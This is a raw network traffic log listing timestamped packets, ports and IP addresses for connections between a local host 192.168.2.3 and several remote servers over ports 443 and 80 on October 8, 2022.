Oct 8, 2022 11:34:43.631392956 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.631433010 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.633050919 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.633112907 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.633122921 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.647569895 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.647617102 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.647639036 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.647660971 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.647700071 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.648205042 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.648246050 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.648258924 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.648266077 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.648314953 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.649621010 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.649703979 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.650918007 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.650993109 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.651001930 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.651048899 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.651894093 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.651954889 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.651959896 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.651998997 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.652841091 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.652899981 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.653743982 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.653806925 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.653810024 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.653830051 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.653866053 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.654612064 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.654661894 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.654681921 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.654689074 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.654732943 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.655493975 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.655553102 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.656402111 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.656462908 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.656469107 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.656514883 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.664294958 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.664381981 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.664401054 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.664460897 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.664573908 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.664619923 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.665405989 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.665477037 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.665766954 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.665815115 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.665817022 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.665826082 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.665858984 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.666416883 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.666469097 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.666475058 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.666516066 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.667129993 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.667181969 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.667186022 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.667197943 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.667237997 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.668062925 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.668107033 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.668118954 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.668126106 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.668159962 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.668170929 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.668181896 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.668216944 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.669122934 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.669173956 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.669178963 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.669226885 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.669779062 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.669841051 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.669841051 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.669852018 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.669886112 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.670597076 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.670651913 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.670656919 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.670696020 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.671355009 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.671416998 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.671422958 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.671432972 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.671471119 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.672122002 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.672169924 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.672180891 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.672265053 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.672786951 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.672846079 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.672847033 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.672858000 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.672888994 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.672892094 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.672899961 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.672943115 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.673666954 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.673719883 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.673724890 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.673759937 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.673764944 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.673774958 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.673804045 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.681070089 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.681123972 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.681143999 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.681164980 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.681199074 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.681200027 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.681216955 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.681230068 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.681251049 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.681355000 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.681391001 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.681397915 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.681421995 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.681454897 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.681458950 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.681471109 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.681500912 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.681503057 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.681514025 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.681556940 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.682420015 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.682471991 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.682476044 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.682487965 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.682521105 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.682521105 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.682532072 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.682569027 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.682575941 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.682588100 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.682626009 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.682631969 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.683212042 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.683248043 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.683254004 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.683260918 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.683300018 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.683707952 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.683752060 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.683760881 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.683765888 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.683790922 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.683805943 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.683813095 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.683824062 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.683845043 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.683850050 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.683896065 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.684726954 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.684803009 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.684808969 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.684849977 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.684851885 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.684866905 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.684905052 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.684906960 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.684919119 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.684953928 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.684962034 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.684967995 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.685004950 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.685769081 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.685820103 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.685825109 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.685856104 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.685866117 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.685873032 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.685884953 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.685908079 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.685919046 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.685950041 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.685956001 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.686425924 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.686467886 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.686467886 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.686480045 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.686510086 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.686518908 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.686554909 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.686561108 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.686590910 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.686595917 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.686605930 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.686640978 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.894937038 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.931236982 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:35:04.253388882 CEST	80	49695	103.136.42.153	192.168.2.3
Oct 8, 2022 11:35:04.253475904 CEST	49695	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:35:04.343810081 CEST	49695	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:35:04.373164892 CEST	80	49695	103.136.42.153	192.168.2.3
Oct 8, 2022 11:35:09.043826103 CEST	49706	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:35:09.045054913 CEST	49710	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:35:09.069833040 CEST	80	49706	103.136.42.153	192.168.2.3
Oct 8, 2022 11:35:09.069905996 CEST	49706	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:35:09.073857069 CEST	80	49710	103.136.42.153	192.168.2.3
Oct 8, 2022 11:35:09.073971987 CEST	49710	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:35:09.084063053 CEST	49710	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:35:09.112987041 CEST	80	49710	103.136.42.153	192.168.2.3
Oct 8, 2022 11:35:09.113980055 CEST	80	49710	103.136.42.153	192.168.2.3
Oct 8, 2022 11:35:09.221369982 CEST	49710	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:35:10.383914948 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.383970976 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.384057045 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.386131048 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.386152029 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.428211927 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.428317070 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.433587074 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.433618069 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.433964014 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.434729099 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.434751987 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.615981102 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.616121054 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.616204023 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.616235018 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.616292000 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.616324902 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.616360903 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.616381884 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.616410017 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.616434097 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.616451025 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.616493940 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.617197037 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.617273092 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.618865013 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.618925095 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.618957043 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.618980885 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.619028091 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.632462978 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.633177996 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.634057999 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.634191990 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.634464979 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.634533882 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.634552002 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.644779921 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.644885063 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.644931078 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.644968033 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.645015001 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.645016909 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.645035028 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.645072937 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.646795988 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.646899939 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.647003889 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.647067070 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.648492098 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.648544073 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.648580074 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.648586988 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.648619890 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.648657084 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.648658991 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.648695946 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.648701906 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.648715019 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.648756027 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.649499893 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.649591923 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.651017904 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.651072025 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.651094913 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.651130915 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.651177883 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.651207924 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.651254892 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.651257992 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.651272058 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.651319027 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.651954889 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.652014017 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.652652025 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.652695894 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.652715921 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.652740002 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.652812958 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.653332949 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.653393984 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.653419018 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.653474092 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.661403894 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.661453962 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.661503077 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.661529064 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.661570072 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.661643982 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.661689997 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.661695004 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.661709070 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.661747932 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.661751032 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.661761045 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.661804914 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.663434982 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.663476944 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.663508892 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.663532019 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.663575888 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.665092945 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.665147066 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.665170908 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.665184975 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.665198088 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.665224075 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.665504932 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.665555954 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.665558100 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.665571928 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.665616989 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.666280985 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.666332960 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.666347027 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.666366100 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.666383982 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.666404009 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.666412115 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.666450977 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.667077065 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.667145014 CEST	49711	443	192.168.2.3	31.13.92.36
